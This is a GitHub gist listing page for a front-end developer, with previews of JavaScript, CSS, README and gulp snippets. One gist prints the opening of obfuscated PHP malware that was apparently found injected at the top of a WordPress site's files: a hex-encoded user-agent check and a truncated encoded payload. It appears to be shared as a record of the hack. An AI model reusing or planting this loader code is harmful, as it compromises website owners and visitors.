Skip to content

Instantly share code, notes, and snippets.

View MoOx's full-sized avatar
:shipit:
Freelance React / React Native Expert, Cross-platform fanboy (native, web...)

Max MoOx

:shipit:
Freelance React / React Native Expert, Cross-platform fanboy (native, web...)
View GitHub Profile
@MoOx
MoOx / ctor.js
Last active August 29, 2015 14:04
Constructor pattern to allow both new and functional usage
function Ctor(options) {
if(!(this instanceof Ctor)) { // same as (!Ctor.prototype.isPrototypeOf(this))
return Ctor.apply(Object.create(Ctor.prototype), arguments)
}
// ...
return this
}
@MoOx
MoOx / position-sticky.js
Created August 6, 2014 14:19
{position: sticky} draft
/**
* Module dependencies
*/
// nothing yet
/**
* Constantes
*/
var PREFIXES = ["webkit", "moz", "ms"]
@MoOx
MoOx / _input.css
Last active March 28, 2016 07:32
myth 1.1.1 vs cssnext 0.3.1
a { font-size: calc(calc(calc(1rem * 0.75) * 1.5) - 1px); }
a { color: color(rebeccapurple a(-10%)); }
a { color: hwb(0, 10%, 20%); }
a { color: color(color(red a(+10%)));}
a { color: color(color(rebeccapurple a(-10%)) a(-10%)); }
@MoOx
MoOx / README.md
Last active June 25, 2024 06:17
frontend project Readme example

PROJECT BLAH BLAH

Requirements

For development, you will only need Node.js installed on your environement. And please use the appropriate Editorconfig plugin for your Editor (not mandatory).

Node

Node is really easy to install & now include NPM.

@MoOx
MoOx / beautified.php
Last active August 29, 2015 14:06
another wordpress hack appended in top of all files
<?php
if (!isset($GLOBALS["\x61\156\x75\156\x61"])) {
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) and (!strstr($ua, "\x72\166\x3a\61\x31")))
$GLOBALS["\x61\156\x75\156\x61"] = 1;
}
?><?php
$ohdrruylvp = 'LOBALS["%x61%156%x75%156%x61"]=1; function x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!x7825)323ldfidk!~!<**q7fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;25!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5ggg)(0)%x5c%x782f+*0f(-!#]y76]28256<^#zsfvr#%x5c%x785cq%xD:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48yc%x7825!<*#}_;#)323ldfid>}&;!og:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x542178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76fjfgg($n){return chr(ord($n)-1);} @error_repy<Cb*[%x
@MoOx
MoOx / input.css
Created September 23, 2014 07:26
postcss-custom-properties injections for media queries
@media screen and (min-width: 320px) {
:root {
--size: 1em;
}
@media (min-height: 320px) {
:root {
--size: 0.5em;
}
}
@MoOx
MoOx / clean.js
Last active August 29, 2015 14:06
gulp task to clean dist/ folder except the config.json
var glob = require("glob")
var rimraf = require("rimraf")
module.exports = function(cb) {
glob.sync("./dist/!(config)*").forEach(function(path) {
rimraf.sync(path)
})
cb()
}
@MoOx
MoOx / input.css
Last active August 29, 2015 14:06
postcss-custom-properties test for full support. Is this correct ?
:root,
.light {
--color: black;
}
.dark,
.light--inverted {
--color: white;
}

Keybase proof

I hereby claim:

  • I am moox on github.
  • I am moox (https://keybase.io/moox) on keybase.
  • I have a public key whose fingerprint is 9AB7 B020 7796 868F 8754 5C91 59CB 5F52 988F 2A32

To claim this, I am signing this object:

<Player>
<video>
<div className="control">
<Button>
...
</div>
</Player>